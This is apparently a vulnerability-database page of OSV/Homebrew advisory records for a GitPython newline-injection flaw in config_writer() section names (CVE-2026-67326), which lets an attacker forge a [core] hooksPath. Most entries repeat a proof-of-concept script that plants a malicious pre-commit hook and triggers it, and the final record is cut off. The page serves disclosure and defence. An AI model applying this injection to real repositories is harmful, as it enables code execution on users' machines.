Action not permitted
Modal body text goes here.
Modal Title
Modal Body
PYSEC-2026-3980
Vulnerability from pysec - Published: 2026-08-01 13:17 - Updated: 2026-09-17 08:35GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.
| Name | purl | gitpython | pkg:pypi/gitpython |
|---|
{
"affected": [
{
"ecosystem_specific": {},
"package": {
"ecosystem": "PyPI",
"name": "gitpython",
"purl": "pkg:pypi/gitpython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.50"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.7",
"0.2.0-beta1",
"0.3.0-beta1",
"0.3.0-beta2",
"0.3.1-beta2",
"0.3.2",
"0.3.2.1",
"0.3.2.RC1",
"0.3.3",
"0.3.4",
"0.3.5",
"0.3.6",
"0.3.7",
"1.0.0",
"1.0.1",
"1.0.2",
"2.0.0",
"2.0.1",
"2.0.2",
"2.0.3",
"2.0.4",
"2.0.5",
"2.0.6",
"2.0.7",
"2.0.8",
"2.0.9",
"2.0.9.dev0",
"2.0.9.dev1",
"2.1.0",
"2.1.1",
"2.1.10",
"2.1.11",
"2.1.12",
"2.1.13",
"2.1.14",
"2.1.15",
"2.1.2",
"2.1.3",
"2.1.4",
"2.1.5",
"2.1.6",
"2.1.7",
"2.1.8",
"2.1.9",
"3.0.0",
"3.0.1",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.0.6",
"3.0.7",
"3.0.8",
"3.0.9",
"3.1.0",
"3.1.1",
"3.1.10",
"3.1.11",
"3.1.12",
"3.1.13",
"3.1.14",
"3.1.15",
"3.1.16",
"3.1.17",
"3.1.18",
"3.1.19",
"3.1.2",
"3.1.20",
"3.1.22",
"3.1.23",
"3.1.24",
"3.1.25",
"3.1.26",
"3.1.27",
"3.1.28",
"3.1.29",
"3.1.3",
"3.1.30",
"3.1.31",
"3.1.32",
"3.1.33",
"3.1.34",
"3.1.35",
"3.1.36",
"3.1.37",
"3.1.38",
"3.1.4",
"3.1.40",
"3.1.41",
"3.1.42",
"3.1.43",
"3.1.44",
"3.1.45",
"3.1.46",
"3.1.47",
"3.1.48",
"3.1.49",
"3.1.5",
"3.1.6",
"3.1.7",
"3.1.8",
"3.1.9"
]
}
],
"aliases": [
"CVE-2026-67326",
"GHSA-mv93-w799-cj2w"
],
"details": "GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.",
"id": "PYSEC-2026-3980",
"modified": "2026-09-17T08:35:35.720497Z",
"published": "2026-08-01T13:17:03.063Z",
"references": [
{
"type": "ADVISORY",
"url": "https://www.vulncheck.com/advisories/gitpython-before-newline-injection-via-config-writer-section"
},
{
"type": "EVIDENCE",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
BREW-AIDER-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-09-20 11:37 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.46",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "aider",
"purl": "pkg:brew/aider"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.46",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.46"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-aider-CVE-2026-67326",
"modified": "2026-09-20T11:37:04Z",
"published": "2026-08-13T16:35:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-BTCLI-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:38 – Updated: 2026-09-20 10:29 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.51",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "btcli",
"purl": "pkg:brew/btcli"
},
"ranges": [
{
"events": [
{
"introduced": "9.5.1"
},
{
"fixed": "9.21.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.51",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.51"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-btcli-CVE-2026-67326",
"modified": "2026-09-20T10:29:49Z",
"published": "2026-08-13T16:38:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-CF2TF-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:39 – Updated: 2026-09-20 10:45 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "cf2tf",
"purl": "pkg:brew/cf2tf"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.1"
},
{
"fixed": "0.9.2_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-cf2tf-CVE-2026-67326",
"modified": "2026-09-20T10:45:40Z",
"published": "2026-08-13T16:39:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-CHECKOV-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:39 – Updated: 2026-09-20 12:11 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "checkov",
"purl": "pkg:brew/checkov"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.616"
},
{
"fixed": "3.2.520_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-checkov-CVE-2026-67326",
"modified": "2026-09-20T12:11:46Z",
"published": "2026-08-13T16:39:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-COBO-CLI-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:40 – Updated: 2026-09-20 10:47 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.50",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "cobo-cli",
"purl": "pkg:brew/cobo-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.4"
},
{
"fixed": "0.1.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.50",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.50"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-cobo-cli-CVE-2026-67326",
"modified": "2026-09-20T10:47:08Z",
"published": "2026-08-13T16:40:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-CONDA-LOCK-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:41 – Updated: 2026-09-20 10:47 – Source websiteSummary
